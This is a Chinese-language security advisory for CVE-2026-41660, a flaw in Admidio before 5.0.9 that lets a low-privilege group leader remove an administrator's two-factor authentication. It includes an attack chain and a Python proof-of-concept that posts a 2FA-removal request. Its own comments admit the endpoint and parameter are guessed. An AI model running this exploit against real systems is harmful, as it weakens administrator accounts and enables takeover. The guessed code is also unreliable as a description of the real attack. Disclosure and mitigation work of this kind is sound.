IPBUF安全漏洞报告
English
CVE-2026-41660 CVSS 7.1 高危

CVE-2026-41660 Admidio双重认证逻辑错误漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41660
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

权限绕过逻辑错误2FA绕过AdmidioCVE-2026-41660

漏洞概述

Admidio是一款广泛使用的开源用户管理系统。在5.0.9版本之前,该系统在处理双重认证(2FA)重置逻辑时存在严重缺陷。由于授权检查机制发生反转,导致拥有特定配置文件编辑权限的普通用户(例如群组管理员)能够绕过安全限制,移除包括系统管理员在内的其他用户的TOTP双重认证配置。这一漏洞使得攻击者能够剥离管理员账户的安全保护层,极大增加了账户被接管的风险。官方已在5.0.9版本中修复了此问题。

技术细节

该漏洞的核心在于Admidio代码中关于双重认证重置的权限校验逻辑存在错误。在正常的安全模型中,移除2FA应仅限于账户本人或最高权限管理员。然而,受影响版本的代码在判断是否允许操作时,错误地评估了目标对象的状态而非操作者的权限。具体而言,系统允许任何对目标用户资料具有“编辑”权限的用户执行2FA移除操作。在Admidio的默认配置或常见部署场景中,组长等低权限角色往往拥有对组员(包括管理员)的资料编辑权。攻击者利用这一特权,向服务器发送特制的HTTP请求以触发2FA重置流程,从而清除管理员的TOTP密钥。这种逻辑绕过不仅破坏了系统的完整性,还降低了管理员账户的可用性保障,为后续的权限提升和横向移动提供了便利。

攻击链分析

STEP 1
步骤1
攻击者侦察目标系统,确认其运行Admidio且版本低于5.0.9。
STEP 2
步骤2
攻击者获取一个拥有“组长”权限的低权限账户,该账户对管理员账户具备个人资料编辑权。
STEP 3
步骤3
攻击者使用该账户登录,并发送特制的数据包请求移除管理员账户的TOTP配置。
STEP 4
步骤4
由于逻辑错误,服务器接受请求并移除了管理员的2FA,攻击者可进一步利用其他手段接管账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit concept for CVE-2026-41660 # Description: Removes 2FA from an admin account using a low-privilege group leader account. def exploit(target_url, attacker_session, admin_user_id): """ attacker_session: requests.Session object of a 'Group Leader' with profile edit rights on the admin. admin_user_id: The ID of the target admin user. """ # 1. Get the CSRF token from the profile edit page or preferences page profile_url = f"{target_url}/adm_program/modules/profile/profile.php" params = {'user_id': admin_user_id} response = attacker_session.get(profile_url, params=params) # Note: In a real scenario, parse the CSRF token from HTML response # csrf_token = parse_csrf(response.text) csrf_token = "extracted_csrf_token_value" # 2. Send request to remove 2FA # The endpoint might be something like /adm_program/modules/preferences/preferences_function.php # based on Admidio structure. remove_2fa_url = f"{target_url}/adm_program/modules/preferences/preferences_function.php" payload = { 'user_id': admin_user_id, 'mode': 'remove_2fa', # Hypothetical parameter for the specific action 'csrf_token': csrf_token } # 3. Execute the attack # Due to the logic error, the server checks if the attacker can edit the profile, # but fails to check if the attacker is allowed to change 2FA settings specifically. response = attacker_session.post(remove_2fa_url, data=payload) if response.status_code == 200 and "success" in response.text: print(f"[+] Successfully removed 2FA for Admin ID: {admin_user_id}") else: print("[-] Exploit failed or already patched.") # Usage example (requires valid session) # s = requests.Session() # s.post("http://target/adm_program/system/login.php", data={'login': 'leader', 'password': 'pass'}) # exploit("http://target/adm_program", s, 1)

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
建议立即将Admidio系统升级至5.0.9或更高版本以彻底修复此漏洞。如果无法立即升级,管理员应手动审查系统中的角色与权限配置,特别是撤销普通用户组(如组长)对系统管理员账户的“个人资料编辑”权限,从而阻断利用该逻辑漏洞的前提条件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表